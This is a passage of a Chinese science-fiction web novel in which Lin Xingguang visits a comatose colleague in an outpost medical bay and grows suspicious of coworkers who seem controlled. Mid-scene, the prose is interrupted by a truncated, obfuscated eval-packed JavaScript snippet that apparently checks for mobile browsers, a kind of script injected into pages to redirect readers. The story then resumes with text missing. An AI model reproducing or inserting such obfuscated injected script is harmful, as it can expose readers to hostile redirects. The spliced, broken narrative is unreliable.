观测区的光线比前台暗一点,天花板上的灯是暖黄色的。 小苏坐在观测区的椅子上,盯着屏幕上跳动的数值,眉头皱着,没注意到林星光进来。 林星光放轻脚步走过去,把保温盒放在她旁边:“苏医生,张姐给你带的晚饭。” 小苏吓了一跳,回头看见是她,松了口气:“你怎么来了?吓我一跳。” “来看看王哥,顺便给你带饭盒。”林星光指了指桌上的纸袋子,“他还是没醒啊?” “嗯,没醒。”小苏接过保温盒,打开,里面是炒面,还冒着热气,她扒拉了一口,指着屏幕上的数值,“你看,这能量数值,一会儿高一会儿低,医疗舱的稳定液都快压不住了,奇了怪了,按理说强化系不该这么娇弱才对。” 林星光的目光落在屏幕上,一串串红色的数字跳得飞快,能量读数忽高忽低,像过山车似的,但她其实看不怎么懂。 她凑过去看屏幕上医疗舱里的王磊,他闭着眼睛,脸色苍白,嘴唇没什么血色,头发贴在额头上,看着很虚弱。 他的手放在身侧,手指微微蜷着。 就在这时,王磊的手指突然动了一下。紧接着,观测区屏幕上的红色数值猛地飙升,又瞬间跌落,医疗舱的黄灯变成了红灯,发出“嘀嘀嘀”的警报声。 小苏立刻放下饭盒,伸手按在控制面板上,快速调着参数,嘴里念叨:“又来又来,这都一天三次了,每次都是这样,指标一乱就折腾,偏偏就是不醒。” 林星光站在旁边,没说话,只是盯着屏幕上王磊的脸。他的眉头皱了起来,像是在承受什么痛苦,嘴里发出细碎的哼唧声。 过了两分钟,小苏调完参数,警报声停了,数值慢慢稳定下来。 小苏松了口气,擦了擦额头上的汗,重新拿起饭盒,扒拉着炒面,嘴里嘟囔:“这到底是怎么回事啊,再这样下去,医疗舱的稳定液都不够用了,核心区的补给还得半个月才到。” 林星光看着王磊,他又恢复了之前的样子,闭着眼睛,一动不动,仿佛刚才的动静只是错觉。她轻声问:“他每次这样,都会有动静吗?” “不一定,有时候只是数值跳,有时候会动手指,偶尔还会说胡话。”小苏嚼着炒面,含糊地说。 “那苏医生你先吃饭,我进去看看他。”林星光拿起纸袋子,“有什么需要后勤科帮忙的,随时喊我。” “好嘞,去吧去吧。”小苏挥挥手,注意力又回到了屏幕上。 林星光进去后,发现王磊的舱位旁边还坐着个人,是维修科的老刘。老刘是王磊的师傅,平时带着他干活,两人关系不错。 林星光轻轻敲了敲门。 老刘抬起头,看见是她:“小林啊,进来吧。” 林星光推门进去,把水果干放在旁边的小柜子上:“刘叔,我来看看王哥。他……怎么样了?” 老刘眼睛有点红:“还是老样子。医生说能量紊乱,其他指标都正常,就是醒不过来。说是跟普通的能量伤不一样,得慢慢观察。” 林星光走到舱位旁边,低头看着里面的王磊。 他的样子跟刚刚在观测区屏幕上看到的一样,脸色苍白。 “他这样多久了?”林星光问。 “一直这样。”老刘摇摇头,“有时候会动一下,嘴里念叨点什么,但听不清。医生说可能是能量紊乱引起的,身体在自我修复……” 林星光没说话,只是安静地看着舱里的人。 就在这时,王磊的嘴唇又动了动。这次离得近,林星光隐约听到了几个字:“……不要……走开……” 像梦呓,断断续续的。 老刘也听到了,凑过去听了听,又失望地坐回去:“还是这些,翻来覆去就这几个字。也不知道梦见什么了,一直喊不要。” 林星光点点头,没追问。 她又站了会儿,看着王磊苍白的脸,心里翻涌着各种念头。 王磊也是那天受伤的异能者之一。其他三个都出院了,活蹦乱跳的,只有他还躺在这里,昏迷不醒。 “不要”这个词,他在昏迷的时候反复念叨。他在抗拒什么吗? 林星光收回目光,看向老刘:“刘叔,你也别太担心了,王哥他身体底子好,应该会没事的。医生不是说了嘛,慢慢观察。” 老刘点点头,用手揉了揉眼睛:“但愿吧。这孩子老实,干活踏实,跟了我两年,眼看着就能出师了,结果摊上这事儿……” 林星光拍拍他的肩膀,没再多说。 “那我先走了,刘叔你多保重。” “哎,好,谢谢你啊小林。” 林星光转身走出观察区。 走廊里还是那么安静。她沿着来时的路往外走,脑子里却在转着王磊念叨的那些话。 不要……走开…… 她正想着,一拐弯,差点撞上一个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙小雅这才像回过神来,转头看了她一眼,笑了笑:“啊?哦,进去?我就不进去了,就是过来看看而已。” 说着,就突然转身,朝医疗站外走去。 林星光愣了一下:“小雅姐?” “走了。”孙小雅头也不回,丢下两个字,就出了门。 林星光愣在那儿,赶紧快步追出去。 走廊里,孙小雅已经走出去好远。 林星光没追上去。 她站在医疗站门口,看着那个背影消失在走廊尽头,心里的疑惑越来越重。 刚才那是什么情况? 孙小雅说是来看王磊的,结果就站在那儿看了不到一分钟,一句话没说,然后就走了? 她到底来看什么的? 林星光抬手摸了摸颈侧的印记,温度已经降下来一点,但还是温热的。 她深吸一口气,转身往外走。 外面的天已经暗下来了。前哨站的人造光照系统还没完全启动,通道里昏沉沉的,只有几盏应急灯亮着。 林星光沿着通道往宿舍方向走,她暂时不打算吃饭了。 脑子里乱糟糟的,王磊昏迷时念叨的“不要”,孙小雅站在舱位前那个空洞的眼神,还有那三个人申领高浓度补充剂的记录…… 这些碎片搅在一起,理不出个头绪。 她加快脚步,想赶紧回宿舍。 走到宿舍门口,刚要掏钥匙,余光忽然瞥见走廊尽头有个身影一闪而过。 她猛地转头。 走廊尽头空空荡荡的,什么都没有。 林星光盯着那儿看了几秒,确定没人,才打开门进去。 反锁门,打开灯,她靠在门板上,长长地吐出一口气。 是不是自己太疑神疑鬼了? 她摇摇头,走到书桌前坐下,闭上眼睛,把今天的事一件件过了一遍。 早上李文主动坐过来一起吃早饭,让她帮忙留意监控。 上午整理物资申领记录,发现三个人都申领了高浓度补充剂。 紧接着孙小雅来后勤科领办公用品,靠近时印记发烫,胸闷。 然后就是刚才在医疗站,孙小雅说去看王磊,结果就站在那儿看了不到一分钟,什么都没说就走了。 还有王磊昏迷时念叨的“不要”…… 林星光睁开眼睛。 她在医疗站的时候,孙小雅站在舱位前看王磊时那个眼神,不像是在看一个同事,更像是在看一个……东西。 不是人,是东西。 林星光打了个寒颤。 是不是有什么东西,在操控着他们,让他们去能量接收塔,让他们申领高浓度补充剂,让他们…… 靠近自己? 林星光的心跳又快了起来。 今天孙小雅主动靠近她,李文主动坐过来跟她一起吃早饭。 他们想干什么? 或者说,那个东西,想干什么?